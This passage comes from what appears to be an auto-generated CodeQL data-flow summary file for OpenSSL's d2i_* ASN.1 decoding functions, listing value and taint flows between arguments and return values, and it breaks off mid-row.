["", "", True, "d2i_PKCS8_bio", "(BIO *,X509_SIG **)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS8_bio", "(BIO *,X509_SIG **)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS8_bio", "(BIO *,X509_SIG **)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS8_bio", "(BIO *,X509_SIG **)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKCS8_bio", "(BIO *,X509_SIG **)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS8_fp", "(FILE *,X509_SIG **)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS8_fp", "(FILE *,X509_SIG **)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKCS8_fp", "(FILE *,X509_SIG **)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS8_fp", "(FILE *,X509_SIG **)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS8_fp", "(FILE *,X509_SIG **)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKCS8_fp", "(FILE *,X509_SIG **)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS8_fp", "(FILE *,X509_SIG **)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS8_fp", "(FILE *,X509_SIG **)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_PKCS8_fp", "(FILE *,X509_SIG **)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKCS8_fp", "(FILE *,X509_SIG **)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKEY_USAGE_PERIOD", "(PKEY_USAGE_PERIOD **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_PKEY_USAGE_PERIOD", "(PKEY_USAGE_PERIOD **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKEY_USAGE_PERIOD", "(PKEY_USAGE_PERIOD **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKEY_USAGE_PERIOD", "(PKEY_USAGE_PERIOD **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKEY_USAGE_PERIOD", "(PKEY_USAGE_PERIOD **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKEY_USAGE_PERIOD", "(PKEY_USAGE_PERIOD **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKEY_USAGE_PERIOD", "(PKEY_USAGE_PERIOD **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PKEY_USAGE_PERIOD", "(PKEY_USAGE_PERIOD **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PKEY_USAGE_PERIOD", "(PKEY_USAGE_PERIOD **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_PKEY_USAGE_PERIOD", "(PKEY_USAGE_PERIOD **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKEY_USAGE_PERIOD", "(PKEY_USAGE_PERIOD **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKEY_USAGE_PERIOD", "(PKEY_USAGE_PERIOD **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKEY_USAGE_PERIOD", "(PKEY_USAGE_PERIOD **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKEY_USAGE_PERIOD", "(PKEY_USAGE_PERIOD **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKEY_USAGE_PERIOD", "(PKEY_USAGE_PERIOD **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PKEY_USAGE_PERIOD", "(PKEY_USAGE_PERIOD **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PKEY_USAGE_PERIOD", "(PKEY_USAGE_PERIOD **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_PKEY_USAGE_PERIOD", "(PKEY_USAGE_PERIOD **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_PKEY_USAGE_PERIOD", "(PKEY_USAGE_PERIOD **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PKEY_USAGE_PERIOD", "(PKEY_USAGE_PERIOD **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PKEY_USAGE_PERIOD", "(PKEY_USAGE_PERIOD **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKEY_USAGE_PERIOD", "(PKEY_USAGE_PERIOD **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKEY_USAGE_PERIOD", "(PKEY_USAGE_PERIOD **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKEY_USAGE_PERIOD", "(PKEY_USAGE_PERIOD **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKEY_USAGE_PERIOD", "(PKEY_USAGE_PERIOD **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PKEY_USAGE_PERIOD", "(PKEY_USAGE_PERIOD **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PKEY_USAGE_PERIOD", "(PKEY_USAGE_PERIOD **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKEY_USAGE_PERIOD", "(PKEY_USAGE_PERIOD **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKEY_USAGE_PERIOD", "(PKEY_USAGE_PERIOD **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PKEY_USAGE_PERIOD", "(PKEY_USAGE_PERIOD **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_PKEY_USAGE_PERIOD", "(PKEY_USAGE_PERIOD **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PKEY_USAGE_PERIOD", "(PKEY_USAGE_PERIOD **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_POLICYINFO", "(POLICYINFO **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_POLICYINFO", "(POLICYINFO **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_POLICYINFO", "(POLICYINFO **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_POLICYINFO", "(POLICYINFO **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_POLICYINFO", "(POLICYINFO **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_POLICYINFO", "(POLICYINFO **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_POLICYINFO", "(POLICYINFO **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_POLICYINFO", "(POLICYINFO **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_POLICYINFO", "(POLICYINFO **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_POLICYINFO", "(POLICYINFO **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_POLICYINFO", "(POLICYINFO **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_POLICYINFO", "(POLICYINFO **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_POLICYINFO", "(POLICYINFO **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_POLICYINFO", "(POLICYINFO **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_POLICYINFO", "(POLICYINFO **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_POLICYINFO", "(POLICYINFO **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_POLICYINFO", "(POLICYINFO **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_POLICYINFO", "(POLICYINFO **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_POLICYINFO", "(POLICYINFO **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_POLICYINFO", "(POLICYINFO **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_POLICYINFO", "(POLICYINFO **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_POLICYINFO", "(POLICYINFO **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_POLICYINFO", "(POLICYINFO **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_POLICYINFO", "(POLICYINFO **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_POLICYINFO", "(POLICYINFO **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_POLICYINFO", "(POLICYINFO **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_POLICYINFO", "(POLICYINFO **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_POLICYINFO", "(POLICYINFO **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_POLICYINFO", "(POLICYINFO **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_POLICYINFO", "(POLICYINFO **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_POLICYINFO", "(POLICYINFO **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_POLICYINFO", "(POLICYINFO **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_POLICYQUALINFO", "(POLICYQUALINFO **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_POLICYQUALINFO", "(POLICYQUALINFO **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_POLICYQUALINFO", "(POLICYQUALINFO **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_POLICYQUALINFO", "(POLICYQUALINFO **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_POLICYQUALINFO", "(POLICYQUALINFO **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_POLICYQUALINFO", "(POLICYQUALINFO **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_POLICYQUALINFO", "(POLICYQUALINFO **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_POLICYQUALINFO", "(POLICYQUALINFO **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_POLICYQUALINFO", "(POLICYQUALINFO **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_POLICYQUALINFO", "(POLICYQUALINFO **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_POLICYQUALINFO", "(POLICYQUALINFO **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_POLICYQUALINFO", "(POLICYQUALINFO **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_POLICYQUALINFO", "(POLICYQUALINFO **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_POLICYQUALINFO", "(POLICYQUALINFO **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_POLICYQUALINFO", "(POLICYQUALINFO **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_POLICYQUALINFO", "(POLICYQUALINFO **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_POLICYQUALINFO", "(POLICYQUALINFO **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_POLICYQUALINFO", "(POLICYQUALINFO **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_POLICYQUALINFO", "(POLICYQUALINFO **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_POLICYQUALINFO", "(POLICYQUALINFO **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_POLICYQUALINFO", "(POLICYQUALINFO **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_POLICYQUALINFO", "(POLICYQUALINFO **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_POLICYQUALINFO", "(POLICYQUALINFO **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_POLICYQUALINFO", "(POLICYQUALINFO **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_POLICYQUALINFO", "(POLICYQUALINFO **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_POLICYQUALINFO", "(POLICYQUALINFO **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_POLICYQUALINFO", "(POLICYQUALINFO **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_POLICYQUALINFO", "(POLICYQUALINFO **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_POLICYQUALINFO", "(POLICYQUALINFO **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_POLICYQUALINFO", "(POLICYQUALINFO **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_POLICYQUALINFO", "(POLICYQUALINFO **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_POLICYQUALINFO", "(POLICYQUALINFO **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PROFESSION_INFO", "(PROFESSION_INFO **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_PROFESSION_INFO", "(PROFESSION_INFO **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PROFESSION_INFO", "(PROFESSION_INFO **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PROFESSION_INFO", "(PROFESSION_INFO **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PROFESSION_INFO", "(PROFESSION_INFO **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PROFESSION_INFO", "(PROFESSION_INFO **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_PROFESSION_INFO", "(PROFESSION_INFO **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PROFESSION_INFO", "(PROFESSION_INFO **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PROFESSION_INFO", "(PROFESSION_INFO **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_PROFESSION_INFO", "(PROFESSION_INFO **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PROFESSION_INFO", "(PROFESSION_INFO **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PROFESSION_INFO", "(PROFESSION_INFO **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PROFESSION_INFO", "(PROFESSION_INFO **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_PROFESSION_INFO", "(PROFESSION_INFO **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PROFESSION_INFO", "(PROFESSION_INFO **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PROFESSION_INFO", "(PROFESSION_INFO **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PROFESSION_INFO", "(PROFESSION_INFO **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_PROFESSION_INFO", "(PROFESSION_INFO **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_PROFESSION_INFO", "(PROFESSION_INFO **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PROFESSION_INFO", "(PROFESSION_INFO **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PROFESSION_INFO", "(PROFESSION_INFO **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PROFESSION_INFO", "(PROFESSION_INFO **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_PROFESSION_INFO", "(PROFESSION_INFO **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PROFESSION_INFO", "(PROFESSION_INFO **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_PROFESSION_INFO", "(PROFESSION_INFO **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PROFESSION_INFO", "(PROFESSION_INFO **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PROFESSION_INFO", "(PROFESSION_INFO **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PROFESSION_INFO", "(PROFESSION_INFO **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_PROFESSION_INFO", "(PROFESSION_INFO **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PROFESSION_INFO", "(PROFESSION_INFO **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_PROFESSION_INFO", "(PROFESSION_INFO **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PROFESSION_INFO", "(PROFESSION_INFO **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PROXY_CERT_INFO_EXTENSION", "(PROXY_CERT_INFO_EXTENSION **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_PROXY_CERT_INFO_EXTENSION", "(PROXY_CERT_INFO_EXTENSION **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PROXY_CERT_INFO_EXTENSION", "(PROXY_CERT_INFO_EXTENSION **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PROXY_CERT_INFO_EXTENSION", "(PROXY_CERT_INFO_EXTENSION **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PROXY_CERT_INFO_EXTENSION", "(PROXY_CERT_INFO_EXTENSION **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PROXY_CERT_INFO_EXTENSION", "(PROXY_CERT_INFO_EXTENSION **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_PROXY_CERT_INFO_EXTENSION", "(PROXY_CERT_INFO_EXTENSION **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PROXY_CERT_INFO_EXTENSION", "(PROXY_CERT_INFO_EXTENSION **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PROXY_CERT_INFO_EXTENSION", "(PROXY_CERT_INFO_EXTENSION **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_PROXY_CERT_INFO_EXTENSION", "(PROXY_CERT_INFO_EXTENSION **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PROXY_CERT_INFO_EXTENSION", "(PROXY_CERT_INFO_EXTENSION **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PROXY_CERT_INFO_EXTENSION", "(PROXY_CERT_INFO_EXTENSION **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PROXY_CERT_INFO_EXTENSION", "(PROXY_CERT_INFO_EXTENSION **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_PROXY_CERT_INFO_EXTENSION", "(PROXY_CERT_INFO_EXTENSION **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PROXY_CERT_INFO_EXTENSION", "(PROXY_CERT_INFO_EXTENSION **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PROXY_CERT_INFO_EXTENSION", "(PROXY_CERT_INFO_EXTENSION **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PROXY_CERT_INFO_EXTENSION", "(PROXY_CERT_INFO_EXTENSION **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_PROXY_CERT_INFO_EXTENSION", "(PROXY_CERT_INFO_EXTENSION **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_PROXY_CERT_INFO_EXTENSION", "(PROXY_CERT_INFO_EXTENSION **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PROXY_CERT_INFO_EXTENSION", "(PROXY_CERT_INFO_EXTENSION **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PROXY_CERT_INFO_EXTENSION", "(PROXY_CERT_INFO_EXTENSION **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PROXY_CERT_INFO_EXTENSION", "(PROXY_CERT_INFO_EXTENSION **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_PROXY_CERT_INFO_EXTENSION", "(PROXY_CERT_INFO_EXTENSION **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PROXY_CERT_INFO_EXTENSION", "(PROXY_CERT_INFO_EXTENSION **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_PROXY_CERT_INFO_EXTENSION", "(PROXY_CERT_INFO_EXTENSION **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PROXY_CERT_INFO_EXTENSION", "(PROXY_CERT_INFO_EXTENSION **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PROXY_CERT_INFO_EXTENSION", "(PROXY_CERT_INFO_EXTENSION **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PROXY_CERT_INFO_EXTENSION", "(PROXY_CERT_INFO_EXTENSION **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_PROXY_CERT_INFO_EXTENSION", "(PROXY_CERT_INFO_EXTENSION **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_PROXY_CERT_INFO_EXTENSION", "(PROXY_CERT_INFO_EXTENSION **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_PROXY_CERT_INFO_EXTENSION", "(PROXY_CERT_INFO_EXTENSION **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_PROXY_CERT_INFO_EXTENSION", "(PROXY_CERT_INFO_EXTENSION **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_PROXY_POLICY", "(PROXY_POLICY **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_PROXY_POLICY", "(PROXY_POLICY **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_PROXY_POLICY", "(PROXY_POLICY **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_PROXY_POLICY", "(PROXY_POLICY **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_PROXY_POLICY", "(PROXY_POLICY **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", 